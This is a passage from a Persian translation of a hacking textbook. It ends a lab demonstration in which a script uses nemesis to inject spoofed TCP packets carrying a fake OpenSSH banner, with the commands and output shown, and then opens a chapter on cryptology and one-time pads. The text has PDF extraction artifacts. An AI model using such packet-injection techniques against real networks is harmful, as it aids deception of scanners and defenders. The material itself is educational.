‫ ﻫﻨﮕـﺎم اﺟـﺮای اﯾـﻦ اﺳـﮑﺮﯾﭙﺖ ﺑﺎﯾـﺪ از ﺗﻨﻈـﯿﻢ ﻣﺘﻐﯿـﺮ‬،‫ ﻣﺠـﺪدا‬.‫ اﺿﺎﻓﻪ ﻣﯽ ﮐﻨﺪ‬banner ‫ﺷﺒﯿﻪ ﺑﻪ آن را ﺑﻪ ﻓﺎﯾﻞ داده ای‬
.‫ ﺳﯿﺴﺘﻢ ﺧﻮد ﺣﺼﻮل اﻃﻤﯿﻨﺎن ﮐﻨﯿﺪ‬IP ‫ ﺑﻪ آدرس‬HOST
On 192.168.0.189:

tetsuo# telnet 127.0.0.1 22


Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.5p1
^]
telnet> quit
Connection closed.
tetsuo# printf "SSH-1.99-OpenSSH_3.5p1\n\r" > banner
tetsuo# ./shroud2.sh
tcpdump: listening on eth1
[in] 14:41:12.931803 0:0:ad:d1:c7:ed 0:2:2d:4:93:e4 0800 74:
192.168.0.193.32843 >
192.168.0.189.12345: S 4226290404:4226290404(0)
[out] nemesis tcp -fS -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D
192.168.0.193 -y 32843 -M 0:0:ad:d1:c7:ed -s 1943811492 -a 4226290405

TCP Packet Injected


[out2] nemesis tcp -v -fP -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -
D
192.168.0.193 -y 32843 -M 0:0:ad:d1:c7:ed -s 1943811493 -a 4226290405 -P
banner
TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:02:2D:04:93:E4 > 00:00:AD:D1:C7:ED

81
payload
144
‫)‪[Ethernet type] IP (0x0800‬‬

‫]‪[IP‬‬ ‫‪192.168.0.189 > 192.168.0.193‬‬


‫]‪[IP ID‬‬ ‫‪23711‬‬
‫]‪[IP Proto‬‬ ‫)‪TCP (6‬‬
‫]‪[IP TTL‬‬ ‫‪255‬‬
‫]‪[IP TOS‬‬ ‫‪00‬‬
‫]‪[IP Frag offset‬‬ ‫‪0000‬‬
‫]‪[IP Frag flags‬‬

‫]‪[TCP Ports‬‬ ‫‪12345 > 32843‬‬


‫]‪[TCP Flags‬‬ ‫‪ACK PSH‬‬
‫]‪[TCP Urgent Pointer‬‬ ‫‪0‬‬
‫]‪[TCP Window Size‬‬ ‫‪4096‬‬
‫]‪[TCP Ack number‬‬ ‫‪4226290405‬‬

‫‪Wrote 78 byte TCP packet through linktype DLT_EN10MB.‬‬

‫‪TCP Packet Injected‬‬


‫از ﺳﯿﺴﺘﻢ دﯾﮕﺮ )‪ (overdose‬ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ﮐﻪ ﯾﮏ ارﺗﺒﺎط ﻣﻌﺘﺒﺮ ﺑﻪ ﯾﮏ ﺳﺮور ‪ SSH‬اﻧﺠﺎم ﮔﺮﻓﺘﻪ اﺳﺖ‪.‬‬
‫‪From overdose @ 192.168.0.193:‬‬

‫‪overdose$ telnet 192.168.0.189 12345‬‬


‫‪Trying 192.168.0.189...‬‬
‫‪Connected to 192.168.0.189.‬‬
‫‪Escape character is '^]'.‬‬
‫‪SSH-1.99-OpenSSH_3.5p1‬‬
‫ﺗﻔﺎوت ﻫﺎی ﺑﯿﺸﺘﺮی را ﻣﯽ ﺗﻮان ﺑﺎ اﻧﺘﺨﺎب ﻫﺎی ﺗﺼﺎدﻓﯽ از ﮐﺘﺎﺑﺨﺎﻧﻪ ای از ﺑﻨﺮﻫﺎی ﻣﺨﺘﻠـﻒ اﯾﺠـﺎد ﮐـﺮد‪ .‬ﻫﻤﭽﻨـﯿﻦ ﻣـﯽ‬
‫ﺗﻮان ﺑﺎ ارﺳﺎل ﯾﮏ ﺗﻮاﻟﯽ از ﺗﻮاﻟﯽ ﻫﺎی ﺗﻬﺪﯾﺪ ﮐﻨﻨﺪه ‪ ANSI‬ﻧﯿﺰ ﻣﻮﺟﺐ اﯾﻦ اﻣﺮ ﺷﺪ‪ .‬ﺗﺨﯿﻞ‪ ،‬ﭼﯿﺰ ﻋﺠﯿﺐ و ﺟﺎﻟﺒﯽ اﺳﺖ‪.‬‬
‫اﻟﺒﺘﻪ‪ ،‬ﻃﺮﻗﯽ وﺟﻮد دارﻧﺪ ﺗﺎ ﺑﺘﻮان ﺑﻪ ﺗﮑﻨﯿﮑﯽ از اﯾﻦ دﺳﺖ ﻧﺰدﯾﮏ ﺷﺪ‪ .‬در ﺣﺎل ﺣﺎﺿﺮ ﺣﺪاﻗﻞ ﻣﯽ ﺗﻮاﻧﻢ ﺑﻪ ﯾﮏ راه دﯾﮕﺮ‬
‫ﻓﮑﺮ ﮐﻨﻢ‪ .‬ﺷﻤﺎ ﭼﻄﻮر!؟‬

‫‪145‬‬
‫ﻓﺼﻞ ‪ :4‬رﻣﺰﺷﻨﺎﺳﯽ‬

‫ﻣﺮور‬

‫ﻋﻠﻢ رﻣﺰﺷﻨﺎﺳﯽ ﯾﺎ ﮐﺮﯾﭙﺘﻮﻟﻮژی )‪ (Cryptology‬ﺑﻪ ﻣﻨﻈﻮر ﺑﺮرﺳﯽ رﻣﺰﻧﮕﺎری‪ 82‬ﯾﺎ ﺗﺠﺰﯾﻪ و ﺗﺤﻠﯿﻞ رﻣﺰ‪ 83‬ﺗﻌﺮﯾﻒ ﺷـﺪه‬
‫اﺳﺖ‪ .‬رﻣﺰﻧﮕﺎری ﯾﺎ رﻣﺰﻧﻮﯾﺴﯽ‪ ،‬ﻓﺮآﯾﻨﺪِ ارﺗﺒﺎط ﻣﺤﺮﻣﺎﻧﻪ ﺑﻮاﺳﻄﻪ اﺳﺘﻔﺎده از رﻣﺰﻫﺎ )‪ (cipher‬ﻣﯽ ﺑﺎﺷﺪ و ﺗﺠﺰﯾﻪ و ﺗﺤﻠﯿﻞ‬
‫رﻣﺰ )ﮐﺮﯾﭙﺘﻮآﻧﺎﻟﯿﺰ(‪ ،‬ﻓﺮآﯾﻨﺪ ﮐﺮک ﮐﺮدن ﯾﺎ رﻣﺰﮔﺸﺎﯾﯽ ارﺗﺒﺎﻃﺎتِ ﻣﺤﺮﻣﺎﻧﻪ ی ﯾﺎدﺷﺪه ﻣﯽ ﺑﺎﺷﺪ‪ .‬از ﻟﺤﺎظ ﺗـﺎرﯾﺨﯽ‪ ،‬ﻋﻠـﻢ‬
‫رﻣﺰﺷﻨﺎﺳﯽ‪ ،‬ﻣﺰاﯾﺎ و ﻓﻮاﯾﺪ ﺧﺎﺻﯽ در ﺧﻼل ﺟﻨﮓ ﻫﺎ داﺷﺘﻪ اﺳﺖ‪ ،‬اﺳﺘﻔﺎده از ﮐﺪﻫﺎی ﻣﺤﺮﻣﺎﻧﻪ ﺑﺮای ارﺗﺒـﺎط ﺑـﺎ ﺳـﺮﺑﺎزان‬
‫ﺧﻮدی و ﻫﻤﭽﻨﯿﻦ ﺗﻼش ﺑﺮای ﺷﮑﺴﺘﻦ رﻣﺰﻫﺎی دﺷﻤﻦ ﺟﻬﺖ ﻧﻔﻮذ ﺑﻪ ارﺗﺒﺎﻃﺎت آﻧﻬﺎ‪.‬‬
‫ﮐﺎرﺑﺮدﻫﺎی دوره ﺟﻨﮓ ﻫﻨﻮز ﻫﻢ وﺟﻮد دارﻧﺪ‪ ،‬اﻣﺎ ﺑﻪ ﻧﻮﻋﯽ ﻣﺘﻔﺎوت‪ .‬ﺑﻪ ﻣﺤﺾ اﯾﻨﮑﻪ ﻣﻌﺎﻣﻼﺗﯽ ﺣﯿـﺎﺗﯽ روی اﯾﻨﺘﺮﻧـﺖ رخ‬
‫دﻫﻨﺪ‪ ،‬اﺳﺘﻔﺎده از رﻣﺰﻧﮕﺎری در زﻧﺪﮔﯽ ﻏﯿﺮﻧﻈﺎﻣﯽ ﻧﯿﺰ ﺑﻪ ﻃﻮر ﭼﺸﻤﮕﯿﺮی ﻣﻮرد ﺗﻮﺟﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد‪ .‬اﺳـﺘﺮاق در ﺷـﺒﮑﻪ‬
‫)‪ (Network Sniffing‬آﻧﻘﺪر ﺗﮑﺮار ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﮐﻪ اﯾﻦ ﻓﺮض دﯾﻮاﻧﻪ وار ﮐﻪ ﺷﺨﺼﯽ ﻫﻤﯿﺸﻪ در ﺣﺎل اﺳـﺘﺮاق ﺗﺮاﻓﯿـﮏ‬
‫ﺷﺒﮑﻪ اﺳﺖ‪ ،‬ﻣﻤﮑﻦ اﺳﺖ دﯾﮕﺮ دﯾﻮاﻧﻪ وار ﺑﻪ ﻧﻈﺮ ﻧﯿﺎﯾﺪ‪ .‬ﭘﺴﻮردﻫﺎ‪ ،‬ﺷﻤﺎره ﻫﺎی ﮐـﺎرت ﻫـﺎی اﻋﺘﺒـﺎری و دﯾﮕـﺮ اﻃﻼﻋـﺎت‬
‫ﺧﺼﻮﺻﯽ را از روی ﭘﺮوﺗﮑﻞ ﻫﺎی ﻏﯿﺮرﻣﺰﻧﮕﺎری ﻧﺸﺪه‪ ،‬ﻣﯽ ﺗﻮان ﺗﻤﺎﻣﺎ اﺳﺘﺮاق ﮐﺮد‪ .‬ﭘﺮوﺗﮑﻞ ﻫـﺎی ارﺗﺒـﺎﻃﯽ رﻣﺰﻧﮕـﺎری‬
‫ﺷﺪه‪ ،‬راه ﺣﻠﯽ ﺑﺮای اﯾﻦ ﻓﻘﺪانِ ﻣﺤﺮﻣﺎﻧﮕﯽ ﻫـﺴﺘﻨﺪ و اﺟـﺎزه ﻣـﯽ دﻫﻨـﺪ ﮐـﻪ اﻗﺘـﺼﺎد اﯾﻨﺘﺮﻧﺘـﯽ ﺑـﻪ ﺟﺮﯾـﺎن ﺑﯿﻔﺘـﺪ‪ .‬ﺑـﺪون‬
‫رﻣﺰﻧﮕﺎری ‪ ،84SSL‬اﻧﺘﻘﺎﻻت ﮐﺎرت اﻋﺘﺒﺎری در وب ﺳﺎﯾﺖ ﻫﺎی ﻣﺸﻬﻮر ﻣﯽ ﺗﻮاﻧﺪ ﺑﺴﯿﺎر ﻧﺎ اﻣﻦ ﺑﺎﺷﺪ‪.‬‬
‫‪85‬‬
‫ﺗﻤﺎم اﯾﻦ داده ﻫﺎی ﻣﺤﺮﻣﺎﻧﻪ ﺗﻮﺳﻂ اﻟﮕﻮرﯾﺘﻢ ﻫﺎی رﻣﺰﻧﮕﺎری ﺣﻔﻆ ﻣﯽ ﮔﺮدﻧﺪ‪ .‬در ﺣـﺎل ﺣﺎﺿـﺮ ﺳﯿـﺴﺘﻢ ﻫـﺎی رﻣـﺰی‬
‫ﺛﺎﺑﺖ ﮐﺮده اﻧﺪ ﮐﻪ ﻣﯽ ﺗﻮان از آﻧﻬﺎ در ﮐﺎرﺑﺮدﻫﺎی ﻋﻤﻠﯽ در ﺳﻄﺢ وﺳﯿﻊ اﺳﺘﻔﺎده ﮐﺮد‪ ،‬ﻟﺬا ﺑﺠﺎی ﻣﺤﺎﺳﺒﺎت رﯾﺎﺿﯽ ﺟﻬﺖ‬
‫ﺣﺼﻮل اﻣﻨﯿﺖ‪ ،‬ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ رﻣﺰی وﺟﻮد دارﻧﺪ ﮐﻪ ﻋﻤﻼ اﯾﻤﻦ ﺑﻮده و ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ‪ .‬اﻟﺒﺘﻪ اﻣﮑﺎن دارد ﮐﻪ‬
‫ﻣﯿﺎﻧﺒﺮﻫﺎﯾﯽ ﺑﺮای از ﺑﯿﻦ ﺑﺮدن اﯾﻦ رﻣﺰﻫﺎ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ‪ ،‬اﻣﺎ ﻫﯿﭻ ﮐﺲ ﺗﺎ ﺑﺤﺎل ﻧﺘﻮاﻧﺴﺘﻪ آﻧﻬﺎ را ﻋﻤﻠـﯽ ﮐﻨـﺪ‪ .‬ﺑـﺎ اﯾـﻦ‬
‫ﺣﺎل ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ رﻣﺰی وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﻪ ﻫﯿﭻ وﺟﻪ اﯾﻤﻦ ﻧﯿﺴﺘﻨﺪ‪ .‬اﯾﻦ ﻣﺸﮑﻞ ﻣﯽ ﺗﻮاﻧﺪ ﻧﺎﺷﯽ از ﭘﯿـﺎده ﺳـﺎزی‪ ،‬اﻧـﺪازه‬
‫ﮐﻠﯿﺪ ﯾﺎ ﺿﻌﻒ ﺗﺤﻠﯿﻞ در ﺧﻮد رﻣﺰ ﺑﺎﺷﺪ‪ .‬در ﺳﺎل ‪ ،1997‬ﺗﺤﺖ ﻗﺎﻧﻮن ‪ U.S.‬ﺑﯿـﺸﺘﺮﯾﻦ اﻧـﺪازه ﮐﻠﯿـﺪ ﻗﺎﺑـﻞ ﻗﺒـﻮل ﺑـﺮای‬
‫رﻣﺰﻧﮕﺎری در ﻧﺮم اﻓﺰارﻫﺎی ﺻﺎدر ﺷﺪه ‪ 40‬ﺑﯿﺖ ﺑﻮد‪ .‬اﯾﻦ ﻣﺤﺪودﯾﺖ در ﻃﻮل ﮐﻠﯿﺪ‪ ،‬رﻣﺰ ﻣﺘﻨـﺎﻇﺮ را ﻧـﺎ اﻣـﻦ ﻣـﯽ ﺳـﺎزد؛‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺑﻪ وﺳﯿﻠﻪ اﺟﺘﻤﺎع ‪ RSA Data Security‬و ‪ Ian Goldberg‬ﻧﺸﺎن داده ﺷـﺪ‪ RSA .‬ﯾـﮏ ﻣـﺴﺎﺑﻘﻪ ﺑـﺮای‬
‫ﮐﺸﻒ رﻣﺰ ﯾﮏ ﭘﯿﺎم رﻣﺰی ﺑﺎ ﮐﻠﯿﺪ ‪ 40‬ﺑﯿﺘﯽ ﺑﺮﮔﺰار ﮐﺮد و ﺳﻪ و ﻧﯿﻢ ﺳﺎل ﺑﻌﺪ‪ ،‬ﯾﺎن )‪ (Ian‬ﺑﺮﻧﺪه اﯾﻦ ﻣـﺴﺎﺑﻘﻪ ﺷـﺪ‪ .‬اﯾـﻦ‬
‫ﻣﻮﺿﻮع ﺧﻮد ﻣﺪرﮐﯽ ﻗﻮی ﺑﻮد دال ﺑﺮ اﯾﻨﮑﻪ ﮐﻠﯿﺪ ﻫﺎی ‪ 40‬ﺑﯿﺘﯽ ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺑﺮای ﺳﯿﺴﺘﻢ ﻫـﺎی رﻣـﺰی اﻣـﻦ‪ ،‬ﺑـﺰرگ‬
‫ﻧﯿﺴﺘﻨﺪ‪.‬‬
‫رﻣﺰﺷﻨﺎﺳﯽ از راه ﻫﺎی ﮔﻮﻧﺎﮔﻮﻧﯽ ﺑﻪ ﻫﮏ ﻣﺮﺑﻮط اﺳﺖ‪ .‬در واﺿﺢ ﺗﺮﯾﻦ ﺳﻄﺢ‪ ،‬ﭼﺎﻟﺶِ ﺣﻞ ﮐﺮدن ﯾـﮏ ﭘـﺎزل ﺑـﺮای ﻓـﺮد‬
‫ﮐﻨﺠﮑﺎو‪ ،‬ﻓﺮﯾﺒﻨﺪه ﻣﯽ ﺑﺎﺷﺪ! در ﺳﻄﺤﯽ ﺑﺎﻻﺗﺮ‪ ،‬داده ﻫﺎی ﻣﺤﺮﻣﺎﻧﻪ ای ﮐﻪ ﺑﻮﺳﯿﻠﻪ ﭘﺎزل ﻫﺎی ﯾﺎد ﺷﺪه ﺣﻔﺎﻇـﺖ ﻣـﯽ ﺷـﻮﻧﺪ‪،‬‬
‫ﻓﺮﯾﺒﻨﺪه ﺗﺮ ﺧﻮاﻫﻨﺪ ﺑﻮد! ﺷﮑﺴﺘﻦ ﯾﺎ ﺑﺎ ﺣﯿﻠﻪ ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ ﺣﻔﺎﻇﺖ ﻫﺎی رﻣﺰﻧﮕﺎریِ اﻋﻤﺎل ﺷﺪه ﺑـﺮ داده ﻫـﺎی اﻣـﻦ‪ ،‬ﻣـﯽ‬
‫ﺗﻮاﻧﺪ ﺣﺴﯽ ﺧﺎص از ﺧﺮﺳﻨﺪی و اﻃﻤﯿﻨﺎن و ﺗﺼﻮﯾﺮی از ﻣﺤﺘﻮﯾﺎت داده ای را اراﺋﻪ دﻫﺪ! ﺑﻌـﻼوه‪ ،‬رﻣﺰﻧﮕـﺎری ﻣـﺴﺘﺤﮑﻢ‬
‫ﺟﻬﺖ اﺟﺘﻨﺎب از ﺗﺸﺨﯿﺺ‪ ،‬ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد‪ .‬اﮔﺮ ﻧﻔﻮذﮔﺮ از ﯾـﮏ ﮐﺎﻧـﺎل ارﺗﺒـﺎﻃﯽ رﻣـﺰی ﺷـﺪه اﺳـﺘﻔﺎده ﮐﻨـﺪ‪ ،‬آﻧﮕـﺎه‬
‫ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ ﺷﺒﮑﻪ ایِ ﮔﺮان ﺑﻬﺎ ﮐﻪ ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ را ﺟﻬﺖ ﯾﺎﻓﺘﻦ اﻣـﻀﺎﻫﺎی ﺗﻬـﺎﺟﻤﯽ اﺳـﺘﺮاق ﻣـﯽ ﮐﻨـﺪ‪،‬‬

‫‪82‬‬
‫‪Cryptography‬‬
‫‪83‬‬
‫‪Cryptanalysis‬‬
‫‪84‬‬
‫‪Secure Sockets Layer‬‬
‫‪85‬‬
‫‪Cryptosystem‬‬
‫‪146‬‬
‫‪86‬‬
‫ﮐﻪ ﺑﺮای اﻣﻨﯿﺖ ﻣﺸﺘﺮی اراﺋﻪ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬اﻏﻠﺐ ﺑﻪ ﻋﻨـﻮان‬ ‫ﺑﻼﻓﺎﯾﺪه ﺧﻮاﻫﻨﺪ ﺑﻮد‪ .‬ﻧﻔﻮذﮔﺮان از دﺳﺘﯿﺎﺑﯽ وب رﻣﺰی ﺷﺪه‬
‫ﯾﮏ ﺑﺮدار ﺣﻤﻠﻪ دﺷﻮار ﺟﻬﺖ ﻣﺎﻧﯿﺘﻮر ﺷﺪن ﯾﺎد ﮐﻨﻨﺪ‪.‬‬

‫‪ .4,1‬ﺗﺌﻮری اﻃﻼﻋﺎت‬

‫ﺑﺴﯿﺎری از ﻣﻔﺎﻫﯿﻢ اﻣﻨﯿﺘﯽ در ﺣﻮزه رﻣﺰﻧﮕﺎری از ذﻫﻦ ﮐﻠﻮد ﺷﺎﻧﻮن )‪ (Claude Shannon‬ﻧﺸﺎت ﻣﯽ ﮔﯿﺮﻧﺪ‪ .‬ﻧﻈـﺮات او‬
‫ﺗــﺎﺛﯿﺮات زﯾــﺎدی روی رﺷــﺘﻪ رﻣﺰﻧﮕــﺎری داﺷــﺘﻪ اﺳــﺖ‪ ،‬ﻣﺨــﺼﻮﺻﺎ ﻧﻈﺮﯾــﻪ ﻫــﺎی اﻧﺘــﺸﺎر )‪ (Diffusion‬و اﻏﺘــﺸﺎش‬
‫)‪ .(Confusion‬اﮔﺮﭼﻪ ﻣﻔﺎﻫﯿﻢ ﻣﻄﻠﻖ اﻣﻨﯿﺘـﯽ‪ ،‬ﻣﺎﻧﻨـﺪ ﭘـﺮ ﮐﻨﻨـﺪه ﻫـﺎی ﯾـﮏ ﺑـﺎر ﻣـﺼﺮف )‪ ،(One-Time Pads‬ﺗﻮزﯾـﻊ‬
‫ﮐﻮاﻧﺘﻮﻣﯽ ﮐﻠﯿﺪ )‪ (Quantum Key Distribution‬و اﻣﻨﯿﺖ ﻣﺤﺎﺳﺒﺎﺗﯽ )‪ (Computational Security‬در ﻋﻤﻞ ﺗﻮﺳﻂ‬
‫ﺷﺎﻧﻮن ﭘـﯽ رﯾـﺰی ﻧـﺸﺪه اﻧـﺪ‪ ،‬اﻣـﺎ ﻧﻈﺮﯾـﻪ ﻫـﺎی او در ﺣـﻮزه ﭘﻮﺷـﺶ ﮐﺎﻣـﻞ )‪ (Perfect Secrecy‬و ﺗﺌـﻮری اﻃﻼﻋـﺎت‬
‫)‪ ،(Information Theory‬ﺗﺎﺛﯿﺮات ﺷﮕﺮﻓﯽ روی ﺗﻌﺎرﯾﻒ اﻣﻨﯿﺘﯽ ﮔﺬاﺷﺖ‪.‬‬

‫‪ .4,1,1‬اﻣﻨﯿﺖ ﻣﻄﻠﻖ )‪(unconditional‬‬

‫ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی زﻣﺎﻧﯽ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺳﯿﺴﺘﻢ "اﯾﻤﻦ ﻣﻄﻠﻖ" )ﻣﻄﻠﻘﺎ اﻣﻦ( ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﮐـﻪ ﺣﺘـﯽ ﺑـﺎ وﺟـﻮد ﻣﻨـﺎﺑﻊ‬
‫ﻣﺤﺎﺳﺒﺎﺗﯽ ﻧﺎﻣﺤﺪود اﻣﮑﺎن ﺷﮑﺴﺘﻪ ﺷﺪن آن ﻧﺒﺎﺷﺪ )ﻟﺬا ﺗﺤﻠﯿﻞ رﻣﺰ ﻏﯿﺮ ﻣﻤﮑﻦ ﻣﯿﺸﻮد(‪ .‬ﺣﺘﯽ اﮔﺮ ﺗﻤﺎم ﮐﻠﯿﺪﻫﺎی ﻣﻤﮑﻦ‪،‬‬
‫در ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ ‪ brute-force‬اﻣﺘﺤﺎن ﺷﻮﻧﺪ‪ ،‬ﺑﺎزﻫﻢ ﺗﻌﯿﯿﻦ ﮐﻠﯿﺪ درﺳﺖ در آن ﻣﺠﻤﻮﻋﻪ ﻏﯿﺮ ﻣﻤﮑﻦ ﺑﺎﺷﺪ‪.‬‬

‫‪ .4,1,2‬ﭘﺮﮐﻨﻨﺪه ﻫﺎی ﯾﮏ ﺑﺎر ﻣﺼﺮف‬

‫ﻧﻤﻮﻧﻪ ای از ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی اﯾﻤﻦ ﻣﻄﻠﻖ‪ ،‬ﭘﺮ ﮐﻨﻨﺪه ﯾﮏ ﺑﺎر ﻣـﺼﺮف )‪ (One-Time Pad‬اﺳـﺖ‪ .‬ﭘـﺮ ﮐﻨﻨـﺪه ﯾـﮏ ﺑـﺎر‬
‫ﻣﺼﺮف‪ ،‬ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﺳﺎده اﺳﺖ ﮐﻪ از ﺑﻠﻮک ﻫﺎی داده ای ﺗﺼﺎدﻓﯽ ﺑﻪ ﻧﺎم ﭘﺮﮐﻨﻨﺪه )‪ (Pad‬اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬ﻃـﻮل‬
‫ﭘﺮﮐﻨﻨﺪه ﺑﺎﯾﺪ ﺣﺪاﻗﻞ ﺑﻪ اﻧﺪازه ﻣﺘﻦ واﺿﺢ‪ 87‬رﻣﺰﺷﻮﻧﺪه‪ ،‬و داده ﻫﺎی ﺗـﺼﺎدﻓﯽ در ‪ pad‬ﻧﯿـﺰ واﻗﻌـﺎ ﺑﺎﯾـﺪ ﺗـﺼﺎدﻓﯽ ﺑﺎﺷـﺪ‪.‬‬
‫دو ‪ pad‬ﻗﺎﺑﻞ ﺷﻨﺎﺳﺎﯾﯽ ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮﻧﺪ‪ :‬ﯾﮑﯽ ﺑﺮای ﮔﯿﺮﻧﺪه و دﯾﮕﺮی ﺑﺮای ﻓﺮﺳﺘﻨﺪه‪.‬‬
‫ﻓﺮﺳﺘﻨﺪه ﺟﻬﺖ رﻣﺰﮐﺮدن ﭘﯿﺎم‪ ،‬ﻫﺮ ﺑﯿﺖ از ﻣﺘﻦ واﺿﺢ را ﺑﺎ ﯾﮏ ﺑﯿﺖ از داده ﻫﺎی ﭘﺮﮐﻨﻨﺪه‪ XOR ،‬ﻣﯽ ﮐﻨﺪ‪ .‬ﭘﺲ از رﻣـﺰ‬
‫ﺷﺪن ﭘﯿﺎم‪ ،‬ﭘﺮﮐﻨﻨﺪه ﺟﻬﺖ ﺣﺼﻮل از ﺗﻨﻬﺎ ﯾﮑﺒﺎر اﺳﺘﻔﺎده ﺷﺪن از ﺑﯿﻦ ﻣﯽ رود‪ .‬آﻧﮕﺎه ﻣﯽ ﺗﻮان ﭘﯿﺎم رﻣﺰﺷﺪه را ﺑﻪ ﮔﯿﺮﻧﺪه‬
‫ﺑﺪون ﺗﺮس از ﺗﺤﻠﯿﻞ رﻣﺰ ارﺳﺎل ﮐﺮد‪ ،‬زﯾﺮا ﻧﻤﯽ ﺗﻮان ﭘﯿﺎم رﻣﺰﺷﺪه را ﺑﺪون ﭘﺮﮐﻨﻨﺪه ﺷﮑﺴﺖ‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﮔﯿﺮﻧﺪه ﭘﯿﺎم‬
‫رﻣﺰﺷﺪه را درﯾﺎﻓﺖ ﻣﯽ ﮐﻨﺪ‪ ،‬او ﻧﯿﺰ ﻫﺮ ﺑﯿﺖ از ﭘﯿﺎم رﻣﺰﺷﺪه را ﺑﺎ ﻫـﺮ ﺑﯿـﺖ از ﭘﺮﮐﻨﻨـﺪه ﺧـﻮدش‪ XOR ،‬ﮐـﺮده و ﻣـﺘﻦ‬
‫واﺿﺢ اوﻟﯿﻪ را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ‪.‬‬
‫اﮔﺮﭼﻪ ﺷﮑﺴﺘﻦ ﻻﯾﻪ ﯾﮏ ﻃﺮﻓﻪ‪ ،‬از ﻟﺤﺎظ ﻓﺮض ﻋﻠﻤﯽ ﻏﯿﺮ ﻣﻤﮑﻦ اﺳﺖ‪ ،‬اﻣـﺎ در ﻋﻤـﻞ آﻧﻘـﺪر ﮐـﺎرﺑﺮدی و ﻋﻤﻠـﯽ ﻧﯿـﺴﺖ‪.‬‬
‫اﻣﻨﯿﺖ ﭘﺮﮐﻨﻨﺪه ﯾﮏ ﺑﺎر ﻣﺼﺮف ﻣﻨﻮط ﺑﺮ اﻣﻨﯿﺖ ﭘﺮﮐﻨﻨﺪه ﻫﺎﺳﺖ‪ .‬ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﭘﺮﮐﻨﻨﺪه ﻫﺎ ﺑﻪ ﮔﯿﺮﻧـﺪه و ﻓﺮﺳـﺘﻨﺪه ارﺳـﺎل‬
‫ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﻓﺮض ﺑﺮ اﻣﻦ ﺑﻮدن ﮐﺎﻧﺎل اﻧﺘﻘﺎل ﻣﯽ ﺑﺎﺷﺪ‪.‬‬
‫ﻟﺬا ﺑﺮای اﻧﺘﻘﺎل اﯾﻤﻦ ﭘﺮﮐﻨﻨﺪه ﻫﺎ ﻧﯿﺎز ﺑﻪ ﯾﮏ ﻣﺮاودات ﭼﻬﺮه‪-‬ﺑﻪ‪-‬ﭼﻬﺮه )‪ (face-to-face‬اﺳﺖ‪ .‬اﻣﺎ ﺑﺮای ﺳﻬﻮﻟﺖ اﻧﺘﻘـﺎلِ‬
‫ﭘﺮﮐﻨﻨﺪه‪ ،‬ﻣﻤﮑﻦ اﺳﺖ از رﻣﺰ دﯾﮕﺮی اﺳﺘﻔﺎده ﺷﻮد‪ .‬ﺑﻬﺎی اﯾﻦ ﺳﻬﻮﻟﺖ ﻧﯿﺰ در ﻗﺪرت رﻣﺰ اﺳﺖ‪ ،‬ﺑﻪ اﯾﻦ ﺗﺮﺗﯿـﺐ ﮐـﻪ ﮐـﻞ‬
‫زﻧﺠﯿﺮه ی ﺳﯿﺴﺘﻢ اﮐﻨﻮن ﺗﻨﻬﺎ ﻗﺪرﺗﯽ ﺑﺮاﺑﺮ ﺑﺎ ﺿﻌﯿﻒ ﺗﺮﯾﻦ ﺣﻠﻘﻪ زﻧﺠﯿﺮ آن دارد‪ ،‬ﮐﻪ اﯾﻦ ﺣﻠﻘﻪ‪ ،‬رﻣﺰ ﻣﻮرد اﺳﺘﻔﺎده ﺑﺮای‬

‫‪86‬‬
‫‪Encrypted Web Access‬‬
‫‪87‬‬
‫‪Plaintext‬‬
‫‪147‬‬
‫اﻧﺘﻘﺎل ﭘﺮﮐﻨﻨﺪه ﻫﺎﺳﺖ‪ .‬ﭼﻮن ﭘﺮﮐﻨﻨﺪه‪ ،‬ﺣﺎوی داده ﻫﺎی ﺗﺼﺎدﻓﯽ و ﻃﻮل آن ﺑﺮاﺑﺮ ﺑﺎ ﻣﺘﻦ واﺿﺢ اﺳﺖ‪ ،‬و ﻫﻤﭽﻨﯿﻦ اﻣﻨﯿـﺖ‬
‫ﮐﻞ زﻧﺠﯿﺮه ﺳﯿﺴﺘﻢ ﺑﺴﺘﻪ ﺑﻪ روش ﻣﻮرد اﺳﺘﻔﺎده ﺟﻬﺖ اﻧﺘﻘﺎل ﭘﺮﮐﻨﻨﺪه اﺳﺖ‪ ،‬ﻟﺬا در روﯾـﺎروﯾﯽ ﺑـﺎ ﻣـﺴﺎﺋﻞ واﻗﻌـﯽ‪ ،‬اﯾـﻦ‬
